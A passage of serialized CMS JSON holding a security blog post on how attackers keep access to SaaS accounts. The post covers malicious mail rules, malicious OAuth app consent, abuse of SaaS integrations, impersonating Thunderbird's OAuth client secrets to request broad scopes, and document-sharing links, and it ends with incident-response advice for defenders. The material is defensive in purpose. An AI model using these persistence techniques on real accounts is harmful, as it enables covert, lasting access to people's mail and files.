nodeType":865},{},[],{"data":207188,"content":207189,"nodeType":1570},{},[207190],{"data":207191,"content":207192,"nodeType":866},{},[207193],{"data":207194,"marks":207195,"value":178131,"nodeType":865},{},[],{"data":207197,"content":207198,"nodeType":1570},{},[207199],{"data":207200,"content":207201,"nodeType":866},{},[207202],{"data":207203,"marks":207204,"value":178141,"nodeType":865},{},[],{"data":207206,"content":207207,"nodeType":866},{},[207208],{"data":207209,"marks":207210,"value":178148,"nodeType":865},{},[],{"data":207212,"content":207213,"nodeType":866},{},[207214,207217,207224],{"data":207215,"marks":207216,"value":178155,"nodeType":865},{},[],{"data":207218,"content":207219,"nodeType":889},{"uri":101198},[207220],{"data":207221,"marks":207222,"value":178163,"nodeType":865},{},[207223],{"type":943},{"data":207225,"marks":207226,"value":178167,"nodeType":865},{},[],{"data":207228,"content":207229,"nodeType":1317},{},[207230],{"data":207231,"marks":207232,"value":178174,"nodeType":865},{},[],{"data":207234,"content":207235,"nodeType":866},{},[207236],{"data":207237,"marks":207238,"value":178181,"nodeType":865},{},[],{"data":207240,"content":207241,"nodeType":866},{},[207242,207245,207252,207255,207262],{"data":207243,"marks":207244,"value":178188,"nodeType":865},{},[],{"data":207246,"content":207247,"nodeType":889},{"uri":178191},[207248],{"data":207249,"marks":207250,"value":178197,"nodeType":865},{},[207251],{"type":943},{"data":207253,"marks":207254,"value":4988,"nodeType":865},{},[],{"data":207256,"content":207257,"nodeType":889},{"uri":53259},[207258],{"data":207259,"marks":207260,"value":6715,"nodeType":865},{},[207261],{"type":943},{"data":207263,"marks":207264,"value":178211,"nodeType":865},{},[],{"data":207266,"content":207267,"nodeType":866},{},[207268,207271,207278],{"data":207269,"marks":207270,"value":178218,"nodeType":865},{},[],{"data":207272,"content":207273,"nodeType":889},{"uri":178221},[207274],{"data":207275,"marks":207276,"value":178227,"nodeType":865},{},[207277],{"type":943},{"data":207279,"marks":207280,"value":178231,"nodeType":865},{},[],{"data":207282,"content":207283,"nodeType":866},{},[207284],{"data":207285,"marks":207286,"value":178238,"nodeType":865},{},[],{"data":207288,"content":207291,"nodeType":912},{"target":207289},{"sys":207290},{"id":161934,"type":909,"linkType":910},[],{"data":207293,"content":207294,"nodeType":981},{},[207295],{"data":207296,"marks":207297,"value":178250,"nodeType":865},{},[],{"data":207299,"content":207300,"nodeType":866},{},[207301],{"data":207302,"marks":207303,"value":178257,"nodeType":865},{},[],{"data":207305,"content":207306,"nodeType":866},{},[207307],{"data":207308,"marks":207309,"value":178264,"nodeType":865},{},[],{"data":207311,"content":207312,"nodeType":1317},{},[207313],{"data":207314,"marks":207315,"value":178271,"nodeType":865},{},[],{"data":207317,"content":207318,"nodeType":866},{},[207319],{"data":207320,"marks":207321,"value":178278,"nodeType":865},{},[],{"data":207323,"content":207324,"nodeType":866},{},[207325],{"data":207326,"marks":207327,"value":178285,"nodeType":865},{},[],{"data":207329,"content":207330,"nodeType":866},{},[207331],{"data":207332,"marks":207333,"value":178292,"nodeType":865},{},[],{"data":207335,"content":207336,"nodeType":1317},{},[207337],{"data":207338,"marks":207339,"value":178299,"nodeType":865},{},[],{"data":207341,"content":207342,"nodeType":866},{},[207343],{"data":207344,"marks":207345,"value":178306,"nodeType":865},{},[],{"data":207347,"content":207348,"nodeType":866},{},[207349],{"data":207350,"marks":207351,"value":178313,"nodeType":865},{},[],{"data":207353,"content":207354,"nodeType":866},{},[207355],{"data":207356,"marks":207357,"value":178320,"nodeType":865},{},[],{"data":207359,"content":207360,"nodeType":981},{},[207361],{"data":207362,"marks":207363,"value":178327,"nodeType":865},{},[],{"data":207365,"content":207366,"nodeType":866},{},[207367,207370,207374],{"data":207368,"marks":207369,"value":178334,"nodeType":865},{},[],{"data":207371,"marks":207372,"value":178339,"nodeType":865},{},[207373],{"type":898},{"data":207375,"marks":207376,"value":178343,"nodeType":865},{},[],{"data":207378,"content":207379,"nodeType":1317},{},[207380],{"data":207381,"marks":207382,"value":178350,"nodeType":865},{},[],{"data":207384,"content":207385,"nodeType":866},{},[207386,207389,207396,207399,207406,207409,207416,207419,207426,207429,207436],{"data":207387,"marks":207388,"value":178357,"nodeType":865},{},[],{"data":207390,"content":207391,"nodeType":889},{"uri":178360},[207392],{"data":207393,"marks":207394,"value":178366,"nodeType":865},{},[207395],{"type":943},{"data":207397,"marks":207398,"value":4988,"nodeType":865},{},[],{"data":207400,"content":207401,"nodeType":889},{"uri":178372},[207402],{"data":207403,"marks":207404,"value":178378,"nodeType":865},{},[207405],{"type":943},{"data":207407,"marks":207408,"value":178382,"nodeType":865},{},[],{"data":207410,"content":207411,"nodeType":889},{"uri":178385},[207412],{"data":207413,"marks":207414,"value":178391,"nodeType":865},{},[207415],{"type":943},{"data":207417,"marks":207418,"value":113162,"nodeType":865},{},[],{"data":207420,"content":207421,"nodeType":889},{"uri":1063},[207422],{"data":207423,"marks":207424,"value":178402,"nodeType":865},{},[207425],{"type":943},{"data":207427,"marks":207428,"value":178406,"nodeType":865},{},[],{"data":207430,"content":207431,"nodeType":889},{"uri":178409},[207432],{"data":207433,"marks":207434,"value":178415,"nodeType":865},{},[207435],{"type":943},{"data":207437,"marks":207438,"value":178419,"nodeType":865},{},[],{"data":207440,"content":207441,"nodeType":866},{},[207442],{"data":207443,"marks":207444,"value":178426,"nodeType":865},{},[],{"data":207446,"content":207447,"nodeType":1317},{},[207448],{"data":207449,"marks":207450,"value":178433,"nodeType":865},{},[],{"data":207452,"content":207453,"nodeType":866},{},[207454,207457,207461,207464,207471],{"data":207455,"marks":207456,"value":178440,"nodeType":865},{},[],{"data":207458,"marks":207459,"value":178445,"nodeType":865},{},[207460],{"type":943},{"data":207462,"marks":207463,"value":178449,"nodeType":865},{},[],{"data":207465,"content":207466,"nodeType":889},{"uri":178452},[207467],{"data":207468,"marks":207469,"value":178458,"nodeType":865},{},[207470],{"type":943},{"data":207472,"marks":207473,"value":178462,"nodeType":865},{},[],{"data":207475,"content":207476,"nodeType":866},{},[207477,207480,207484],{"data":207478,"marks":207479,"value":178469,"nodeType":865},{},[],{"data":207481,"marks":207482,"value":178474,"nodeType":865},{},[207483],{"type":898},{"data":207485,"marks":207486,"value":1615,"nodeType":865},{},[],{"data":207488,"content":207489,"nodeType":866},{},[207490],{"data":207491,"marks":207492,"value":178484,"nodeType":865},{},[],{"data":207494,"content":207495,"nodeType":1317},{},[207496],{"data":207497,"marks":207498,"value":178491,"nodeType":865},{},[],{"data":207500,"content":207501,"nodeType":866},{},[207502],{"data":207503,"marks":207504,"value":178498,"nodeType":865},{},[],{"data":207506,"content":207507,"nodeType":866},{},[207508,207511,207518,207521,207528],{"data":207509,"marks":207510,"value":178505,"nodeType":865},{},[],{"data":207512,"content":207513,"nodeType":889},{"uri":178508},[207514],{"data":207515,"marks":207516,"value":178514,"nodeType":865},{},[207517],{"type":943},{"data":207519,"marks":207520,"value":178518,"nodeType":865},{},[],{"data":207522,"content":207523,"nodeType":889},{"uri":178521},[207524],{"data":207525,"marks":207526,"value":178527,"nodeType":865},{},[207527],{"type":943},{"data":207529,"marks":207530,"value":178531,"nodeType":865},{},[],{"data":207532,"content":207533,"nodeType":866},{},[207534,207537,207545],{"data":207535,"marks":207536,"value":178538,"nodeType":865},{},[],{"data":207538,"content":207539,"nodeType":889},{"uri":178541},[207540],{"data":207541,"marks":207542,"value":178548,"nodeType":865},{},[207543,207544],{"type":943},{"type":898},{"data":207546,"marks":207547,"value":21,"nodeType":865},{},[],{"data":207549,"content":207550,"nodeType":866},{},[207551],{"data":207552,"marks":207553,"value":178558,"nodeType":865},{},[],{"data":207555,"content":207556,"nodeType":981},{},[207557],{"data":207558,"marks":207559,"value":178565,"nodeType":865},{},[],{"data":207561,"content":207562,"nodeType":866},{},[207563],{"data":207564,"marks":207565,"value":178572,"nodeType":865},{},[],{"data":207567,"content":207568,"nodeType":866},{},[207569],{"data":207570,"marks":207571,"value":178579,"nodeType":865},{},[],{"data":207573,"content":207574,"nodeType":866},{},[207575,207578,207585],{"data":207576,"marks":207577,"value":178586,"nodeType":865},{},[],{"data":207579,"content":207580,"nodeType":889},{"uri":178589},[207581],{"data":207582,"marks":207583,"value":178595,"nodeType":865},{},[207584],{"type":943},{"data":207586,"marks":207587,"value":1615,"nodeType":865},{},[],{"data":207589,"content":207590,"nodeType":866},{},[207591,207594,207601],{"data":207592,"marks":207593,"value":178605,"nodeType":865},{},[],{"data":207595,"content":207596,"nodeType":889},{"uri":13171},[207597],{"data":207598,"marks":207599,"value":11198,"nodeType":865},{},[207600],{"type":943},{"data":207602,"marks":207603,"value":170072,"nodeType":865},{},[],{"data":207605,"content":207608,"nodeType":912},{"target":207606},{"sys":207607},{"id":178620,"type":909,"linkType":910},[],{"data":207610,"content":207611,"nodeType":866},{},[207612],{"data":207613,"marks":207614,"value":21,"nodeType":865},{},[],{"items":207616},[207617,207619],{"sys":207618,"name":7796},{"id":7795},{"sys":207620,"name":342},{"id":4642},{"items":207622},[207623],{"fullName":57332,"firstName":57333,"jobTitle":57334,"profilePicture":207624},{"url":57336},{"__typename":1429,"sys":207626,"content":207628,"title":208059,"synopsis":208060,"hashTags":59,"publishedDate":208061,"slug":208062,"tagsCollection":208063,"authorsCollection":208067},{"id":207627},"3QpljiYU9YHEUhd5gsvypj",{"json":207629},{"data":207630,"content":207631,"nodeType":1382},{},[207632,207639,207646,207653,207660,207667,207673,207680,207687,207694,207701,207707,207714,207720,207739,207746,207752,207770,207789,207808,207815,207822,207829,207836,207842,207848,207855,207862,207869,207876,207882,207889,207937,207943,207949,207967,207973,207980,207986,207993,207999,208006,208013,208019,208025,208031,208038,208045,208052],{"data":207633,"content":207634,"nodeType":866},{},[207635],{"data":207636,"marks":207637,"value":207638,"nodeType":865},{},[],"As an attacker, we have a wide range of persistence options available to us in a traditional account or endpoint compromise scenario. From discovering a user's password, to creating new backdoor accounts, to using one of an insane number of \"run keys\" to keep an implant running beyond reboot, or even moving laterally to other internal systems - an attacker has plenty of choice.",{"data":207640,"content":207641,"nodeType":866},{},[207642],{"data":207643,"marks":207644,"value":207645,"nodeType":865},{},[],"But how does this change in a SaaS-first world? In this post, we'll consider some of the new challenges and opportunities that are presented to an attacker who wants to maintain persistence in the new world order, so you can better investigate incidents and quickly defend against attacks. We'll cover a variety of techniques, including malicious mail rules, OAuth backdoor tricks and document sharing links to see how persistence can be maintained, even in the event of password changes and device wipes.",{"data":207647,"content":207648,"nodeType":981},{},[207649],{"data":207650,"marks":207651,"value":207652,"nodeType":865},{},[],"So what’s changed?",{"data":207654,"content":207655,"nodeType":866},{},[207656],{"data":207657,"marks":207658,"value":207659,"nodeType":865},{},[],"In a traditional compromise scenario, a common example would be an endpoint compromised through phishing, which is used to deliver a malicious implant to establish a command and control channel with the endpoint. In order to maintain access, an attacker would likely use one or more endpoint persistence methods to ensure their implant is launched again post-reboot when the user turns their laptop off for the day. ",{"data":207661,"content":207662,"nodeType":866},{},[207663],{"data":207664,"marks":207665,"value":207666,"nodeType":865},{},[],"This would often become a foothold into the internal network of the compromised organization. The endpoint or user is the start, but an attacker may seek to move laterally to other endpoints and servers on the internal network, where security is often much lower than the external perimeter.",{"data":207668,"content":207672,"nodeType":912},{"target":207669},{"sys":207670},{"id":207671,"type":909,"linkType":910},"5aSsHI9aZjsZIIXcV3YDYk",[],{"data":207674,"content":207675,"nodeType":866},{},[207676],{"data":207677,"marks":207678,"value":207679,"nodeType":865},{},[],"In a SaaS-first world, this situation has begun to change somewhat. There are many companies now that have significantly reduced the size of their internal networks or are even fully in the cloud and do not have any internal network infrastructure. In this case, traditional lateral movement becomes much more difficult or impossible. Additionally, endpoints are becoming increasingly hard targets to compromise and incident response teams have matured and have gotten better at cleaning up endpoint compromises. ",{"data":207681,"content":207682,"nodeType":866},{},[207683],{"data":207684,"marks":207685,"value":207686,"nodeType":865},{},[],"The consequence of this is that attackers need to make the most use of the access they have during an endpoint or user compromise and maintain access where possible, even in the event of a password reset and full laptop wipe. Additionally, new SaaS-focused persistence options are now possible, which are also often resistant to password changes and endpoints wipes, so these are increasingly attractive options for an attacker. ",{"data":207688,"content":207689,"nodeType":866},{},[207690],{"data":207691,"marks":207692,"value":207693,"nodeType":865},{},[],"One other change is that persistence is less binary than it has been traditionally. Typically, persistence would often be on a per-user or per-endpoint basis. Either an attacker would have full control of a user account (e.g. knowing the password) or full control of an endpoint (e.g. an implant running on the endpoint). The main differentiation would be in whether endpoint-level access was administrative level control over the endpoint or an implant running as a low-privileged user account. However, in the SaaS-world persistence is much more asset dependent and thus less binary. It could be persistent access to email, or documents, or chat conversations or any number of other assets and capabilities.",{"data":207695,"content":207696,"nodeType":1317},{},[207697],{"data":207698,"marks":207699,"value":207700,"nodeType":865},{},[],"Mail rules",{"data":207702,"content":207706,"nodeType":912},{"target":207703},{"sys":207704},{"id":207705,"type":909,"linkType":910},"3bcLzOfZupSDatdzfFrJDQ",[],{"data":207708,"content":207709,"nodeType":866},{},[207710],{"data":207711,"marks":207712,"value":207713,"nodeType":865},{},[],"Mail rules are a handy feature found in most email clients. You might have used them to forward emails to your teammates while you’re off sipping Piña Coladas, or to move incoming email from that spammy colleague to the “don’t read” folder. However, they can also be used for a range of malicious activities, such as forwarding emails to an external address (e.g. password resets, invoices, “confidential” emails etc) or deleting emails (e.g. security alerts!). A good example of a real-world attack involving this technique was the 2020 SANS breach.\n",{"data":207715,"content":207719,"nodeType":912},{"target":207716},{"sys":207717},{"id":207718,"type":909,"linkType":910},"5RoIfopOGmTaORtG7fqYQo",[],{"data":207721,"content":207722,"nodeType":866},{},[207723,207727,207736],{"data":207724,"marks":207725,"value":207726,"nodeType":865},{},[],"If you want to read more about this technique, you can check out our ",{"data":207728,"content":207732,"nodeType":33606},{"target":207729},{"sys":207730},{"id":207731,"type":909,"linkType":910},"2zZ8kxP0t8Smi9b6hpT34k",[207733],{"data":207734,"marks":207735,"value":158137,"nodeType":865},{},[],{"data":207737,"marks":207738,"value":1615,"nodeType":865},{},[],{"data":207740,"content":207741,"nodeType":1317},{},[207742],{"data":207743,"marks":207744,"value":207745,"nodeType":865},{},[],"OAuth attack #1: Custom OAuth app integration",{"data":207747,"content":207751,"nodeType":912},{"target":207748},{"sys":207749},{"id":207750,"type":909,"linkType":910},"7suW3GZpDsu2RnopkUiA3L",[],{"data":207753,"content":207754,"nodeType":866},{},[207755,207759,207767],{"data":207756,"marks":207757,"value":207758,"nodeType":865},{},[],"OAuth apps can be used to request permanent access to a set of permissions on behalf of a user. This can be as simple as the ability to verify a user’s identity for a simple social login or it could be as permissive as having full control over email, document stores, wiki pages, admin capabilities, etc. You can read more details about this in our ",{"data":207760,"content":207763,"nodeType":33606},{"target":207761},{"sys":207762},{"id":203251,"type":909,"linkType":910},[207764],{"data":207765,"marks":207766,"value":158137,"nodeType":865},{},[],{"data":207768,"marks":207769,"value":14251,"nodeType":865},{},[],{"data":207771,"content":207772,"nodeType":866},{},[207773,207777,207785],{"data":207774,"marks":207775,"value":207776,"nodeType":865},{},[],"However, from an attacker’s perspective a custom OAuth app could be created with sensitive permissions and connected to a user’s account in order to maintain access to their data. In the event that an attacker has compromised a user’s account or endpoint, they could directly consent to their own malicious OAuth app on behalf of the user in order to gain persistence. This could also be achieved as part of a ",{"data":207778,"content":207781,"nodeType":33606},{"target":207779},{"sys":207780},{"id":203182,"type":909,"linkType":910},[207782],{"data":207783,"marks":207784,"value":66867,"nodeType":865},{},[],{"data":207786,"marks":207787,"value":207788,"nodeType":865},{},[]," attack to effectively compromise a user’s account and gain this persistence at the same time. In either case, this would enable continued access to the user’s data even if their password is changed and their endpoint fully wiped.   ",{"data":207790,"content":207791,"nodeType":866},{},[207792,207796,207804],{"data":207793,"marks":207794,"value":207795,"nodeType":865},{},[],"Attacks utilizing these types of techniques are becoming increasingly common and Microsoft even ",{"data":207797,"content":207799,"nodeType":889},{"uri":207798},"https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-OAuth-applications-used-to-compromise-email-servers-and-spread-spam/",[207800],{"data":207801,"marks":207802,"value":207803,"nodeType":865},{},[],"wrote about some real-world attacks",{"data":207805,"marks":207806,"value":207807,"nodeType":865},{},[]," they uncovered recently that involved the use of malicious OAuth apps.",{"data":207809,"content":207810,"nodeType":1317},{},[207811],{"data":207812,"marks":207813,"value":207814,"nodeType":865},{},[],"OAuth attack #2: SaaS platform integration",{"data":207816,"content":207817,"nodeType":866},{},[207818],{"data":207819,"marks":207820,"value":207821,"nodeType":865},{},[],"A similar approach to using a custom OAuth app is to make use of legitimate SaaS services that allow an attacker to make sensitive integrations as a more hide-in-plain-sight approach. For example, let’s take the popular SaaS platform Canva, a graphic design tool that is used to create social media graphics, presentations, posters, documents and other visual content, as an example. Canva, like many SaaS platforms, allows you to make integrations with document stores like OneDrive and Google Drive in order to easily import and export files between Canva and them. If an attacker is interested primarily in maintaining access to a user’s files, then they could make an integration with a platform like Canva and then use that to maintain access.",{"data":207823,"content":207824,"nodeType":866},{},[207825],{"data":207826,"marks":207827,"value":207828,"nodeType":865},{},[],"While this doesn’t provide any raw capabilities beyond a custom OAuth app, an attacker may be more likely to go undetected in this scenario. Discovering an integration with a completely unknown, unverified OAuth app that hasn’t been seen in use elsewhere in the organization, or anywhere at all, is suspicious. Finding an integration with a major SaaS platform, particularly if it is one in use by other users in the organization, is much less suspicious. Additionally, many of them will have verified ticks having been through Microsoft’s or Google’s own verification processes. The only downside for an attacker is having to find SaaS platforms that request the correct permissions and provide the functionality that the attacker is looking for, whereas a custom OAuth app could be used to request any permissions and code could be written to use those permissions however an attacker would like.",{"data":207830,"content":207831,"nodeType":866},{},[207832],{"data":207833,"marks":207834,"value":207835,"nodeType":865},{},[],"If a custom OAuth app is the equivalent of a custom implant on an endpoint, then using a legitimate SaaS platform integration is the equivalent of a more living-off-the-land approach, such as using TeamViewer, RDP or Powershell, etc.\n",{"data":207837,"content":207841,"nodeType":912},{"target":207838},{"sys":207839},{"id":207840,"type":909,"linkType":910},"53pL4O8zgfLBKqZbbcN3aI",[],{"data":207843,"content":207847,"nodeType":912},{"target":207844},{"sys":207845},{"id":207846,"type":909,"linkType":910},"6ovQnE1bu7tVCJr4OfzfhI",[],{"data":207849,"content":207850,"nodeType":1317},{},[207851],{"data":207852,"marks":207853,"value":207854,"nodeType":865},{},[],"OAuth attack #3: Legitimate desktop/mobile app impersonation",{"data":207856,"content":207857,"nodeType":866},{},[207858],{"data":207859,"marks":207860,"value":207861,"nodeType":865},{},[],"Ok, we promise this is the last OAuth variation example - but it’s another interesting way to abuse OAuth connections! Previously, we spoke of either connecting a custom OAuth app or using an OAuth integration via a legitimate SaaS platform. A custom OAuth app has the most flexibility for an attacker, but looks far more suspicious if discovered, whereas a legitimate SaaS platform looks much more….well, legitimate!",{"data":207863,"content":207864,"nodeType":866},{},[207865],{"data":207866,"marks":207867,"value":207868,"nodeType":865},{},[],"What if you could have both of those advantages in one? Well, that can be achieved, too! The reason SaaS platforms don’t have the same flexibility is because they keep their client IDs and secrets for their apps so the attacker can only use the OAuth app indirectly via the features provided by the SaaS platform. However, some OAuth connections are made using desktop or mobile apps that obviously can’t keep their OAuth app secrets secret from a user. While it is generally not possible for an attacker to make use of these in a consent phishing attack, due to not controlling the reply URLs, they can be used in a pure persistence scenario with an already compromised account. ",{"data":207870,"content":207871,"nodeType":866},{},[207872],{"data":207873,"marks":207874,"value":207875,"nodeType":865},{},[],"Let’s take Mozilla Thunderbird, a cross-platform email client, as an example. The client IDs and secrets for different OAuth apps are actually stored in the source code in this case: ",{"data":207877,"content":207881,"nodeType":912},{"target":207878},{"sys":207879},{"id":207880,"type":909,"linkType":910},"3Ed90clKC3GG4BcPfeV6Nm",[],{"data":207883,"content":207884,"nodeType":866},{},[207885],{"data":207886,"marks":207887,"value":207888,"nodeType":865},{},[],"As an attacker, this gives us multiple advantages. ",{"data":207890,"content":207891,"nodeType":1616},{},[207892,207907,207922],{"data":207893,"content":207894,"nodeType":1570},{},[207895],{"data":207896,"content":207897,"nodeType":866},{},[207898,207903],{"data":207899,"marks":207900,"value":207902,"nodeType":865},{},[207901],{"type":926},"App Impersonation",{"data":207904,"marks":207905,"value":207906,"nodeType":865},{},[]," - These are client IDs that will be seen in use legitimately by other users and we can impersonate them. In Thunderbird’s case, the Microsoft app isn’t actually a verified app but the Google one shows as verified. Whatever the case, it looks much less suspicious than a completely unknown app with no known business use case. ",{"data":207908,"content":207909,"nodeType":1570},{},[207910],{"data":207911,"content":207912,"nodeType":866},{},[207913,207918],{"data":207914,"marks":207915,"value":207917,"nodeType":865},{},[207916],{"type":926},"Flexible Use",{"data":207919,"marks":207920,"value":207921,"nodeType":865},{},[]," - We have access to the client IDs and secrets, so we can do whatever we want with the OAuth integration, writing custom code to query APIs as we please. We are not limited to the functionality provided by Thunderbird itself.\n",{"data":207923,"content":207924,"nodeType":1570},{},[207925],{"data":207926,"content":207927,"nodeType":866},{},[207928,207933],{"data":207929,"marks":207930,"value":207932,"nodeType":865},{},[207931],{"type":926},"Arbitrary Permission Granting",{"data":207934,"marks":207935,"value":207936,"nodeType":865},{},[]," - We aren’t actually limited to just the permissions that Thunderbird would normally request (e.g. email/calendar). Since we’re in control of the OAuth secrets, we can just request whatever scopes we want. For example, shown below is us using the Microsoft Thunderbird OAuth secrets to request permissions that also include access to all files, Sharepoint, AD access, etc. \n",{"data":207938,"content":207942,"nodeType":912},{"target":207939},{"sys":207940},{"id":207941,"type":909,"linkType":910},"22nQPPKCgUUEr7QPQBFHNS",[],{"data":207944,"content":207948,"nodeType":912},{"target":207945},{"sys":207946},{"id":207947,"type":909,"linkType":910},"5eIVlfPzpxuO7D41r7DPfe",[],{"data":207950,"content":207951,"nodeType":1616},{},[207952],{"data":207953,"content":207954,"nodeType":1570},{},[207955],{"data":207956,"content":207957,"nodeType":866},{},[207958,207963],{"data":207959,"marks":207960,"value":207962,"nodeType":865},{},[207961],{"type":926},"(Semi-)Bypass Google Restricted Scopes",{"data":207964,"marks":207965,"value":207966,"nodeType":865},{},[]," - When it comes to arbitrary permission granting, there is a caveat with Google in that some of the more sensitive scopes Google offer are only available to selected approved and verified apps. Therefore, we can’t necessarily just request access to any permission with Google. For example, if we modify Thunderbird to request access to Google Drive (a restricted scope) then we get the following: ",{"data":207968,"content":207972,"nodeType":912},{"target":207969},{"sys":207970},{"id":207971,"type":909,"linkType":910},"3HIcve3zqVFheiZ2tJILJl",[],{"data":207974,"content":207975,"nodeType":866},{},[207976],{"data":207977,"marks":207978,"value":207979,"nodeType":865},{},[],"Access to Gmail is also considered a restricted scope. However, obviously Thunderbird is an email client, so if it uses OAuth it’s going to want access to Gmail, right? Well, yes, the Thunderbird app ID is permitted access to Gmail data, so we can use it to gain that access and appear as a legitimate verified app, in addition to requesting any other non-restricted permissions we’re interested in: ",{"data":207981,"content":207985,"nodeType":912},{"target":207982},{"sys":207983},{"id":207984,"type":909,"linkType":910},"5SqY9Q2g7DpHhCGJVQDcgF",[],{"data":207987,"content":207988,"nodeType":1317},{},[207989],{"data":207990,"marks":207991,"value":207992,"nodeType":865},{},[],"Document-sharing links",{"data":207994,"content":207998,"nodeType":912},{"target":207995},{"sys":207996},{"id":207997,"type":909,"linkType":910},"2EEC98Ros0MdMX2gt4OGKe",[],{"data":208000,"content":208001,"nodeType":866},{},[208002],{"data":208003,"marks":208004,"value":208005,"nodeType":865},{},[],"Ok, no more OAuth, we promise! The final option we want to highlight is the (ab-)use of document-sharing links. Many organizations make use of OneDrive, Sharepoint and Google Drive for document editing, sharing and collaboration. However, it’s pretty common to want to share documents with people outside your organization sometimes too, right? That’s where document-sharing links come in. You can create a document sharing link to share with specific individuals in other Google/Azure organizations or you can create anonymous links that anyone with knowledge of the (unguessable randomized) link can access.",{"data":208007,"content":208008,"nodeType":866},{},[208009],{"data":208010,"marks":208011,"value":208012,"nodeType":865},{},[],"Very similar functionality is present in both OneDrive and Google Drive, but this same legitimate functionality can also be abused by attackers to maintain backdoor access to either select files or entire root folders. Sharing a root folder will cause future files to inherit those sharing permissions. This is a modern repeat of the age-old problem of access control list (ACL) management on internal file servers, only now internet-based attackers can potentially abuse this without needing VPN or similar access. ",{"data":208014,"content":208018,"nodeType":912},{"target":208015},{"sys":208016},{"id":208017,"type":909,"linkType":910},"4IUv2rbEMXrJUAdEYC9xxD",[],{"data":208020,"content":208024,"nodeType":912},{"target":208021},{"sys":208022},{"id":208023,"type":909,"linkType":910},"bMAt7XvLmIEIDwzZrAawU",[],{"data":208026,"content":208027,"nodeType":1317},{},[208028],{"data":208029,"marks":208030,"value":57175,"nodeType":865},{},[],{"data":208032,"content":208033,"nodeType":866},{},[208034],{"data":208035,"marks":208036,"value":208037,"nodeType":865},{},[],"We've demonstrated a few new persistence options attackers are using against organizations as they move to the cloud. While some existing persistence and lateral movement options are no longer working in these environments, attackers have been able to quickly adapt to new conditions to get at their targets.",{"data":208039,"content":208040,"nodeType":866},{},[208041],{"data":208042,"marks":208043,"value":208044,"nodeType":865},{},[],"Some of these attacks have already been seen in the wild and others may already be happening under the radar. In any case, being aware of how attackers will try to compromise SaaS-first organizations helps you prepare to defend and respond to these attacks. ",{"data":208046,"content":208047,"nodeType":866},{},[208048],{"data":208049,"marks":208050,"value":208051,"nodeType":865},{},[],"It’s extremely important for incident response teams to adapt to these changes, as a password reset and a device wipe is not sufficient to regain control of a user account, even when no lateral movement to internal systems has been performed.",{"data":208053,"content":208054,"nodeType":866},{},[208055],{"data":208056,"marks":208057,"value":208058,"nodeType":865},{},[],"New steps need to be added to IR playbooks in the event of user or device compromises to cover the revocation of OAuth permissions and refresh tokens, the auditing of mail rules and changes to document sharing configurations.","Maintaining persistent access in a SaaS-first world","Attackers have loads of persistence options in an endpoint compromise scenario, but what changes in a SaaS-first world? We talk new attack methods in this post.","2022-11-29T00:00:00.000Z","maintaining-persistent-access-in-a-saas-first-world",{"items":208064},[208065],{"sys":208066,"name":7796},{"id":7795},{"items":208068},[208069],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":208070},{"url":11425},"nearly-invisible-attack-chain","blog/nearly-invisible-attack-chain",{"json":208074},{"data":208075,"content":208076,"nodeType":1382},{},[208077],{"data":208078,"content":208079,"nodeType":866},{},[208080],{"data":208081,"marks":208082,"value":208083,"nodeType":865},{},[],"We’re going to demonstrate how combining two of our favorite new SaaS attack techniques - from our SaaS Attacks Matrix research - makes a simple, but very stealthy approach that maintains persistent access.",{"id":208085,"publishedAt":208086},"7ygI4NLJ2zpuiVwAlggkTG","2026-08-12T11:55:59.906Z",{"items":208088},[208089,208091],{"sys":208090,"name":7796},{"id":7795},{"sys":208092,"name":342},{"id":4642},{"items":208094},[208095,208097,208099,208101,208103,208105,208107,208109,208111,208113],{"sys":208096,"name":279,"slug":280,"tier":31},{"id":276},{"sys":208098,"name":413,"slug":414,"tier":31},{"id":410},{"sys":208100,"name":545,"slug":546,"tier":31},{"id":542},{"sys":208102,"name":342,"slug":343,"tier":31},{"id":339},{"sys":208104,"name":484,"slug":485,"tier":45},{"id":481},{"sys":208106,"name":404,"slug":405,"tier":45},{"id":401},{"sys":208108,"name":571,"slug":572,"tier":45},{"id":568},{"sys":208110,"name":431,"slug":432,"tier":45},{"id":428},{"sys":208112,"name":368,"slug":369,"tier":45},{"id":365},{"sys":208114,"name":333,"slug":334,"tier":45},{"id":330},"dOWGpyVPlOdvk8MP541yXUYAhD19BxKwElFq8HzGBV4",{"id":208117,"title":204448,"authorsCollection":208118,"content":208122,"extension":228,"faqItemsCollection":209337,"faqTitle":59,"featured":6,"hashTags":59,"meta":209339,"metaTitle":209340,"ogImage":59,"postType":42959,"publishedDate":204449,"relatedBlogPostsCollection":209341,"slug":204450,"stem":209985,"subtitle":59,"summary":209986,"synopsis":203157,"sys":209997,"tagsCollection":209999,"topicsCollection":210005,"__hash__":210019},"blog/blog/how-attackers-compromise-azure-organizations-through-saas-apps.json",{"items":208119},[208120],{"fullName":158801,"firstName":158802,"jobTitle":158803,"socialLinks":59,"profilePicture":208121},{"url":158805},{"json":208123,"links":209250},{"data":208124,"content":208125,"nodeType":1382},{},[208126,208132,208138,208144,208150,208168,208174,208179,208185,208191,208197,208225,208230,208236,208344,208350,208356,208590,208596,208602,208608,208634,208640,208646,208651,208657,208662,208668,208674,208680,208686,208692,208698,208704,208710,208715,208721,208734,208740,208746,208772,208778,208794,208800,208806,208812,208818,208849,208865,208913,208919,208925,208941,208957,208963,208989,208995,209001,209007,209013,209019,209025,209031,209047,209052,209058,209073,209079,209085,209090,209096,209102,209107,209113,209149,209155,209160,209166,209171,209177,209183,209209,209215,209221,209227,209233,209239,209244],{"data":208127,"content":208128,"nodeType":866},{},[208129],{"data":208130,"marks":208131,"value":203150,"nodeType":865},{},[],{"data":208133,"content":208134,"nodeType":866},{},[208135],{"data":208136,"marks":208137,"value":203157,"nodeType":865},{},[],{"data":208139,"content":208140,"nodeType":981},{},[208141],{"data":208142,"marks":208143,"value":84010,"nodeType":865},{},[],{"data":208145,"content":208146,"nodeType":1317},{},[208147],{"data":208148,"marks":208149,"value":203170,"nodeType":865},{},[],{"data":208151,"content":208152,"nodeType":866},{},[208153,208156,208165],{"data":208154,"marks":208155,"value":203177,"nodeType":865},{},[],{"data":208157,"content":208160,"nodeType":33606},{"target":208158},{"sys":208159},{"id":203182,"type":909,"linkType":910},[208161],{"data":208162,"marks":208163,"value":203188,"nodeType":865},{},[208164],{"type":943},{"data":208166,"marks":208167,"value":203192,"nodeType":865},{},[],{"data":208169,"content":208170,"nodeType":866},{},[208171],{"data":208172,"marks":208173,"value":203199,"nodeType":865},{},[],{"data":208175,"content":208178,"nodeType":912},{"target":208176},{"sys":208177},{"id":203204,"type":909,"linkType":910},[],{"data":208180,"content":2